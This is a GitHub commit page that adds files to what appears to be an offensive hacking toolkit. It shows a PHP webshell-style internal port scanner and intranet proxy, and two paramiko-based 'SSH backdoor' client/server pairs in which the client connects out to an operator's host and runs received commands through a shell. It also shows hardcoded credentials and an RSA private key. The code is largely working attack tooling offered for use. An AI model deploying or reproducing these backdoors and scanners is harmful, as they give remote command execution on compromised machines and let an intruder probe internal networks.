Skip to content

Commit 2052264

Browse files
xl7devxl7dev
committedAug 24, 2016
update
1 parent 38ad880 commit 2052264

34 files changed

+5789
-0
lines changed
 

‎Aspx/hec.aspx

+2,588
Large diffs are not rendered by default.

‎Php/scanner.php

+137
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,137 @@
1+
<?php
2+
3+
set_time_limit(0);//设置程序执行时间
4+
ob_implicit_flush(True);
5+
ob_end_flush();
6+
$url = isset($_REQUEST['url'])?$_REQUEST['url']:null;
7+
8+
/*端口扫描代码*/
9+
function check_port($ip,$port,$timeout=0.1) {
10+
$conn = @fsockopen($ip, $port, $errno, $errstr, $timeout);
11+
if ($conn) {
12+
fclose($conn);
13+
return true;
14+
}
15+
}
16+
17+
18+
function scanip($ip,$timeout,$portarr){
19+
foreach($portarr as $port){
20+
if(check_port($ip,$port,$timeout=0.1)==True){
21+
echo 'Port: '.$port.' is open<br/>';
22+
@ob_flush();
23+
@flush();
24+
25+
}
26+
27+
}
28+
}
29+
30+
echo '<html>
31+
<form action="" method="post">
32+
<input type="text" name="startip" value="Start IP" />
33+
<input type="text" name="endip" value="End IP" />
34+
<input type="text" name="port" value="80,8080,8888,1433,3306" />
35+
Timeout<input type="text" name="timeout" value="10" /><br/>
36+
<button type="submit" name="submit">Scan</button>
37+
</form>
38+
</html>
39+
';
40+
41+
if(isset($_POST['startip'])&&isset($_POST['endip'])&&isset($_POST['port'])&&isset($_POST['timeout'])){
42+
43+
$startip=$_POST['startip'];
44+
$endip=$_POST['endip'];
45+
$timeout=$_POST['timeout'];
46+
$port=$_POST['port'];
47+
$portarr=explode(',',$port);
48+
$siparr=explode('.',$startip);
49+
$eiparr=explode('.',$endip);
50+
$ciparr=$siparr;
51+
if(count($ciparr)!=4||$siparr[0]!=$eiparr[0]||$siparr[1]!=$eiparr[1]){
52+
exit('IP error: Wrong IP address or Trying to scan class A address');
53+
}
54+
if($startip==$endip){
55+
echo 'Scanning IP '.$startip.'<br/>';
56+
@ob_flush();
57+
@flush();
58+
scanip($startip,$timeout,$portarr);
59+
@ob_flush();
60+
@flush();
61+
exit();
62+
}
63+
64+
if($eiparr[3]!=255){
65+
$eiparr[3]+=1;
66+
}
67+
while($ciparr!=$eiparr){
68+
$ip=$ciparr[0].'.'.$ciparr[1].'.'.$ciparr[2].'.'.$ciparr[3];
69+
echo '<br/>Scanning IP '.$ip.'<br/>';
70+
@ob_flush();
71+
@flush();
72+
scanip($ip,$timeout,$portarr);
73+
$ciparr[3]+=1;
74+
75+
if($ciparr[3]>255){
76+
$ciparr[2]+=1;
77+
$ciparr[3]=0;
78+
}
79+
if($ciparr[2]>255){
80+
$ciparr[1]+=1;
81+
$ciparr[2]=0;
82+
}
83+
}
84+
}
85+
86+
/*内网代理代码*/
87+
88+
function getHtmlContext($url){
89+
$ch = curl_init();
90+
curl_setopt($ch, CURLOPT_URL, $url);
91+
curl_setopt($ch, CURLOPT_HEADER, TRUE); //表示需要response header
92+
curl_setopt($ch, CURLOPT_NOBODY, FALSE); //表示需要response body
93+
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
94+
curl_setopt($ch, CURLOPT_TIMEOUT, 120);
95+
$result = curl_exec($ch);
96+
global $header;
97+
if($result){
98+
$headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
99+
$header = explode("\r\n",substr($result, 0, $headerSize));
100+
$body = substr($result, $headerSize);
101+
}
102+
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '200') {
103+
return $body;
104+
}
105+
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '302') {
106+
$location = getHeader("Location");
107+
if(strpos(getHeader("Location"),'http://') == false){
108+
$location = getHost($url).$location;
109+
}
110+
return getHtmlContext($location);
111+
}
112+
return NULL;
113+
}
114+
115+
function getHost($url){
116+
preg_match("/^(http:\/\/)?([^\/]+)/i",$url, $matches);
117+
return $matches[0];
118+
}
119+
function getCss($host,$html){
120+
preg_match_all("/<link[\s\S]*?href=['\"](.*?[.]css.*?)[\"'][\s\S]*?>/i",$html, $matches);
121+
foreach($matches[1] as $v){
122+
$cssurl = $v;
123+
if(strpos($v,'http://') == false){
124+
$cssurl = $host."/".$v;
125+
}
126+
$csshtml = "<style>".file_get_contents($cssurl)."</style>";
127+
$html .= $csshtml;
128+
}
129+
return $html;
130+
}
131+
132+
if($url != null){
133+
134+
$host = getHost($url);
135+
echo getCss($host,getHtmlContext($url));
136+
}
137+
?>

‎SSH/ReverseSSH-Backdoor/Readme.txt

+3
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
This is derived from InfosecInstitute.
2+
Requires Paramiko Lib at both Ends.
3+
More Information Here: http://resources.infosecinstitute.com/creating-undetectable-custom-ssh-backdoor-python-z/

‎SSH/ReverseSSH-Backdoor/revsshclient.py

+17
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
import paramiko
2+
import threading
3+
import subprocess
4+
5+
client = paramiko.SSHClient()
6+
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
7+
client.connect('*insertServerIPHere*', username='root', password='toor')
8+
chan = client.get_transport().open_session()
9+
chan.send('Hey i am connected :) ')
10+
print chan.recv(1024)
11+
command = chan.recv(1024)
12+
try:
13+
CMD = subprocess.check_output(command, shell=True)
14+
chan.send(CMD)
15+
except Exception,e:
16+
chan.send(str(e))
17+
client.close

‎SSH/ReverseSSH-Backdoor/revsshserver.py

+60
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
import socket
2+
import paramiko
3+
import threading
4+
import sys
5+
6+
host_key = paramiko.RSAKey(filename='/usr/share/doc/python-paramiko/examples/test_rsa.key')
7+
8+
class Server (paramiko.ServerInterface):
9+
def _init_(self):
10+
self.event = threading.Event()
11+
def check_channel_request(self, kind, chanid):
12+
if kind == 'session':
13+
return paramiko.OPEN_SUCCEEDED
14+
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
15+
def check_auth_password(self, username, password):
16+
if (username == 'root') and (password == 'toor'):
17+
return paramiko.AUTH_SUCCESSFUL
18+
return paramiko.AUTH_FAILED
19+
20+
try:
21+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
22+
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
23+
sock.bind(('*insertClientIPHere*', 22))
24+
sock.listen(100)
25+
print '[+] Listening for connection ...'
26+
client, addr = sock.accept()
27+
except Exception, e:
28+
print '[-] Listen/bind/accept failed: ' + str(e)
29+
sys.exit(1)
30+
print '[+] Got a connection!'
31+
32+
try:
33+
t = paramiko.Transport(client)
34+
try:
35+
t.load_server_moduli()
36+
except:
37+
print '[-] (Failed to load moduli -- gex will be unsupported.)'
38+
raise
39+
t.add_server_key(host_key)
40+
server = Server()
41+
try:
42+
t.start_server(server=server)
43+
except paramiko.SSHException, x:
44+
print '[-] SSH negotiation failed.'
45+
46+
chan = t.accept(20)
47+
print '[+] Authenticated!'
48+
print chan.recv(1024)
49+
chan.send('Yeah i can see this')
50+
command= raw_input("Enter command: ").strip('\n')
51+
chan.send(command)
52+
print chan.recv(1024) + '\n'
53+
54+
except Exception, e:
55+
print '[-] Caught exception: '': ' + str(e)
56+
try:
57+
t.close()
58+
except:
59+
pass
60+
sys.exit(1)

‎SSH/custom-ssh-backdoor/README.md

+5
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
SSH Backdoor using Paramiko
2+
3+
Example:
4+
5+
![](print.png)

‎SSH/custom-ssh-backdoor/client.py

+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
import paramiko
2+
import threading
3+
import subprocess
4+
5+
client = paramiko.SSHClient()
6+
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
7+
client.connect('192.168.1.100', username='joridos', password='olh234')
8+
chan = client.get_transport().open_session()
9+
chan.send('Hey i am connected :) ')
10+
while True:
11+
command = chan.recv(1024)
12+
try:
13+
CMD = subprocess.check_output(command, shell=True)
14+
chan.send(CMD)
15+
except Exception,e:
16+
chan.send(str(e))
17+
print chan.recv(1024)
18+
client.close

‎SSH/custom-ssh-backdoor/print.png

171 KB
Loading

‎SSH/custom-ssh-backdoor/server.py

+60
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
import socket
2+
import paramiko
3+
import threading
4+
import sys
5+
6+
host_key = paramiko.RSAKey(filename='/home/joridos/custom-ssh-backdoor/test_rsa.key')
7+
8+
class Server (paramiko.ServerInterface):
9+
def _init_(self):
10+
self.event = threading.Event()
11+
def check_channel_request(self, kind, chanid):
12+
if kind == 'session':
13+
return paramiko.OPEN_SUCCEEDED
14+
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
15+
def check_auth_password(self, username, password):
16+
if (username == 'joridos') and (password == 'olh234'):
17+
return paramiko.AUTH_SUCCESSFUL
18+
return paramiko.AUTH_FAILED
19+
20+
try:
21+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
22+
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
23+
sock.bind(('192.168.1.100', 22))
24+
sock.listen(100)
25+
print '[+] Listening for connection ...'
26+
client, addr = sock.accept()
27+
except Exception, e:
28+
print '[-] Listen/bind/accept failed: ' + str(e)
29+
sys.exit(1)
30+
print '[+] Got a connection!'
31+
32+
try:
33+
t = paramiko.Transport(client)
34+
try:
35+
t.load_server_moduli()
36+
except:
37+
print '[-] (Failed to load moduli -- gex will be unsupported.)'
38+
raise
39+
t.add_server_key(host_key)
40+
server = Server()
41+
try:
42+
t.start_server(server=server)
43+
except paramiko.SSHException, x:
44+
print '[-] SSH negotiation failed.'
45+
46+
chan = t.accept(20)
47+
print '[+] Authenticated!'
48+
print chan.recv(1024)
49+
while True:
50+
command= raw_input("Enter command: ").strip('n')
51+
chan.send(command)
52+
print chan.recv(1024) + 'n'
53+
54+
except Exception, e:
55+
print '[-] Caught exception: ' + str(e) + ': ' + str(e)
56+
try:
57+
t.close()
58+
except:
59+
pass
60+
sys.exit(1)

‎SSH/custom-ssh-backdoor/test_rsa.key

+15
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
-----BEGIN RSA PRIVATE KEY-----
2+
MIICWgIBAAKBgQDTj1bqB4WmayWNPB+8jVSYpZYk80Ujvj680pOTh2bORBjbIAyz
3+
oWGW+GUjzKxTiiPvVmxFgx5wdsFvF03v34lEVVhMpouqPAYQ15N37K/ir5XY+9m/
4+
d8ufMCkjeXsQkKqFbAlQcnWMCRnOoPHS3I4vi6hmnDDeeYTSRvfLbW0fhwIBIwKB
5+
gBIiOqZYaoqbeD9OS9z2K9KR2atlTxGxOJPXiP4ESqP3NVScWNwyZ3NXHpyrJLa0
6+
EbVtzsQhLn6rF+TzXnOlcipFvjsem3iYzCpuChfGQ6SovTcOjHV9z+hnpXvQ/fon
7+
soVRZY65wKnF7IAoUwTmJS9opqgrN6kRgCd3DASAMd1bAkEA96SBVWFt/fJBNJ9H
8+
tYnBKZGw0VeHOYmVYbvMSstssn8un+pQpUm9vlG/bp7Oxd/m+b9KWEh2xPfv6zqU
9+
avNwHwJBANqzGZa/EpzF4J8pGti7oIAPUIDGMtfIcmqNXVMckrmzQ2vTfqtkEZsA
10+
4rE1IERRyiJQx6EJsz21wJmGV9WJQ5kCQQDwkS0uXqVdFzgHO6S++tjmjYcxwr3g
11+
H0CoFYSgbddOT6miqRskOQF3DZVkJT3kyuBgU2zKygz52ukQZMqxCb1fAkASvuTv
12+
qfpH87Qq5kQhNKdbbwbmd2NxlNabazPijWuphGTdW0VfJdWfklyS2Kr+iqrs/5wV
13+
HhathJt636Eg7oIjAkA8ht3MQ+XSl9yIJIS8gVpbPxSw5OMfw0PjVE7tBdQruiSc
14+
nvuQES5C9BMHjF39LZiGH1iLQy7FgdHyoP+eodI7
15+
-----END RSA PRIVATE KEY-----

0 commit comments

Comments
 (0)